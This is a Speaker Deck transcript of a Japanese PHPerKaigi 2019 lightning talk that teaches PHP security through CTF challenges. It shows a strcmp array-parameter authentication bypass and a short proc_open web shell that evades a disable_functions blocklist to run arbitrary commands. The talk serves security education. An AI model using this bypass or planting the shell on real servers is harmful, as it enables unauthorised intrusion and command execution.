Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
CTFで学ぶPHPセキュリティ
Search
Sponsored
·
Ship Features Fearlessly
Turn features on and off without deploys. Used by thousands of Ruby developers.
→
Ryoto Saito
March 31, 2019
Programming
4.4k
3
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
CTFで学ぶPHPセキュリティ
PHPerKaigi 2019
ルーキーズLT
Ryoto Saito
March 31, 2019
More Decks by Ryoto Saito
See All by Ryoto Saito
コンテナ上シェル悪用の話とPure Bashでcurlが作れた話
ryotosaito
2
720
シェル芸のせかい / the Shellgei World
ryotosaito
2
1.9k
Other Decks in Programming
See All in Programming
最近”作らせてる” ローカルAIアプリの話
akit37
0
480
Rでドレミ/Do-Re-Mi_with_R
florets1
0
130
[Rails World 2026] Durable orchestration on Rails: from continuation to workflow
palkan
1
860
phperだってパンチカードでコーディングしたい
o0h
PRO
0
370
FactoryBotをやめればRSpecは速くなるのか?
yuta_onishi_97
0
920
ハーネス設計入門 〜 基礎知識の整理から実務へのステップアップ 〜
kinopeee
28
34k
月間100万人のサービス刷新で、 技術選定をHonoに振り切った話
yutobara
8
6.8k
AIに “答え“を書かせるのを やめてみた
___akari11
0
130
PyConTW 2026 - AI Coding 不只是工具升級, 區域醫院醫療資訊系統協作開發與資訊團隊轉型實踐
cclai999
0
120
When benchmarks go bad - what I learned from measuring performance wrong
hollycummins
0
230
作って学ぶSpring BootのAuto Configuration / JJUG Night Seminar 2026-10-19
rshindo
0
200
コードで差別化できない時代の ソフトウェアエンジニアリング / Software Engineering in an Era Where Code Doesn’t Differentiate
kishida
2
180
Featured
See All Featured
Ethics towards AI in product and experience design
skipperchong
2
440
Groundhog Day: Seeking Process in Gaming for Health
codingconduct
0
430
Writing Fast Ruby
sferik
630
63k
How to make the Groovebox
asonas
2
2.5k
GraphQLとの向き合い方2022年版
quramy
50
15k
Speed Design
sergeychernyshev
33
2.2k
Leveraging LLMs for student feedback in introductory data science courses - posit::conf(2025)
minecr
1
440
Product Roadmaps are Hard
iamctodd
55
13k
Stewardship and Sustainability of Urban and Community Forests
pwiseman
0
560
Large-scale JavaScript Application Architecture
addyosmani
516
110k
Skip the Path - Find Your Career Trail
mkilby
1
260
Context Engineering - Making Every Token Count
addyosmani
9
1.2k
Transcript
CTFで学ぶ PHPセキュリティ 2019/3/31 PHPerKaigi ルーキーズLT Ryoto (@systemctl_ryoto) 1
CTF - Capture the Flag 2
CTF Capture the Flag • FPSのゲームルール の1種 • 敵陣のフラッグを自陣 に持ち帰る
• 由来は物理的な遊び • 転じて… 3
CTF Capture the Flag • 情報セキュリティ的に脆弱な 「何か」が用意される • その脆弱性を突いてFlagを取得 する競技
※ Flag = 仮想的な機密文字列 flag{PHP_is_s3cur3!} ↑過去に本当に見たことあるやつ • 問題ベースで楽しくセキュリティ が勉強できる! • 徳丸さんの挑戦状もCTF 4
PHPer チャレンジ は シェルを 奪えます ls -al /もmysqldumpも実行できる 5
CTFの 主要な ジャンル 厳密な分類は大会やサイトによって 微妙に異なる 6 Pwn プログラムの脆弱性を突く Reverse リバースエンジニアリング
Forensic パケットやFile systemなど Crypto 暗号解読 Web クライアントからサーバまで
Webの CTF 情報セキュリティ的に脆弱な「何か」 • 「Webサイト」 • 「ソースコード」 どこが脆弱かはもちろん、どこにFlag があるのかがわからないことも たのしい謎解きの始まり
7
CTFのPHP問題例 - 実際の問題の一部分 - 8
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 9
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 10
言語仕様に関する問題 11
言語仕様に関する問題 12
言語仕様に関する問題 13 if (strcmp($_GET['password'], PASSWORD) == 0) strcmpは配列や関数などを受け取るとnull+Warningを返す) <?php var_dump($_GET);
http://localhost/dump.php?password[]=admin にアクセス↓ array(1) { ["password"] => array(1) { [0] => string(5) "admin" } }
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! 先ほどのヒントを踏まえると… 言語仕様に関する問題 14
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! Ans: http://target.host/?password[]= 言語仕様に関する問題 15
前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 <?php phpinfo(); disable_functions pcntl_exec, exec, popen, passthru, shell_exec, system
目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行 16
(注:shell_execと等価なので`cmd`はダメ) 任意コード実行 17
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 任意コード実行 18
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行
19
Ans. 以下のPHPファイルをアップロード <?php $cmd = $_GET['cmd'] $process = proc_open($cmd, [1=>["pipe",
"w"]], $pipes); echo stream_get_contents($pipes[1]); これを1回アップロードすれば?cmd=...でやりたい放題 任意コード実行 20
CTFに興味が湧いてきた人は! 21
やってみよう! 22 常設CTF(Web・PHP問題が入門から充実している) • https://www.root-me.org/en/Challenges/Web-Server/ • http://websec.fr/ ※ 垢登録するときは捨てパスワードを使いましょう 慣れたらコンテストに参加!
• https://ctftime.org
困ったときは 23 CTFでは解答例のことを Write-up と呼びます。 考えてもわからなかったら答えを探すのもあり! ("Write-up"で検索して問題を探す荒技もあり)
Thank you! @systemctl_ryoto 24